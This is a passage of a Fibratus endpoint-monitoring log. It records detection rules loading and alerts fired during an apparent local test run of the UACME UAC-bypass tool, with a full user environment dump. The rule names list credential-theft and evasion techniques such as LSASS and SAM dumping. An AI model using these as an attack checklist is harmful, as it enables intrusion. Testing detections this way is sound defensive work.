C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:40:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:40:17+01:00 level=info msg=bootstrapping with pid 4120. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:40:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-handle=>false enable-threadpool=>false flush-interval=>1s enable-dns=>false enable-mem=>false enable-vamap=>true enable-thread=>true enable-net=>true buffer-size=>512 enable-image=>true enable-registry=>true enable-audit-api=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-age=>0 formatter=>text max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ endpoints=>[] enable-gzip=>false serializer=>json method=>POST timeout=>5s tls-insecure-skip-verify=>false enabled=>false] amqp=>[ routing-key=>fibratus enabled=>false durable=>false vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient passive=>false exchange=>fibratus exchange-type=>topic timeout=>5s] elasticsearch=>[ sniff=>false healthcheck-interval=>10s flush-period=>1s enabled=>false trace-log=>false healthcheck=>true template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false scan-timeout=>10s skip-mmaps=>false skip-allocs=>false fastscan=>true enabled=>false skip-registry=>false excluded-files=>[] excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:40:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:40:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:40:32+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{F0B673BC-4C92-40E4-9B45-A7D7B6302DBE}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 9616182 + Pid: 16716 + Tid: 14944 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:40:25.1651922 +0100 CET + Params: key_handle➜ ffffc38f181345d0, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{F0B673BC-4C92-40E4-9B45-A7D7B6302DBE}\, status➜ Success + Metadata: tactic.id: TA0005, rule.name: Hidden registry key creation, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/ + + Pid: 16716 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 61 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 61] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:40:34+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:40:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:40:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:40:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:41:26+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:41:26+01:00 level=info msg=bootstrapping with pid 5544. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:41:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-handle=>false max-buffers=>36 enable-fileio=>true enable-mem=>false buffer-size=>512 enable-net=>true enable-dns=>false enable-thread=>true flush-interval=>1s enable-threadpool=>false enable-audit-api=>true min-buffers=>16 enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info max-backups=>15 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic enabled=>false vhost=>/ timeout=>5s passive=>false routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672] http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false endpoints=>[] enabled=>false timeout=>5s serializer=>json] elasticsearch=>[ timeout=>5s template-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true bulk-workers=>1 index-name=>fibratus trace-log=>false sniff=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false skip-allocs=>false scan-timeout=>10s skip-mmaps=>false skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:41:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:41:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:42:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:42:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:42:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:42:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from 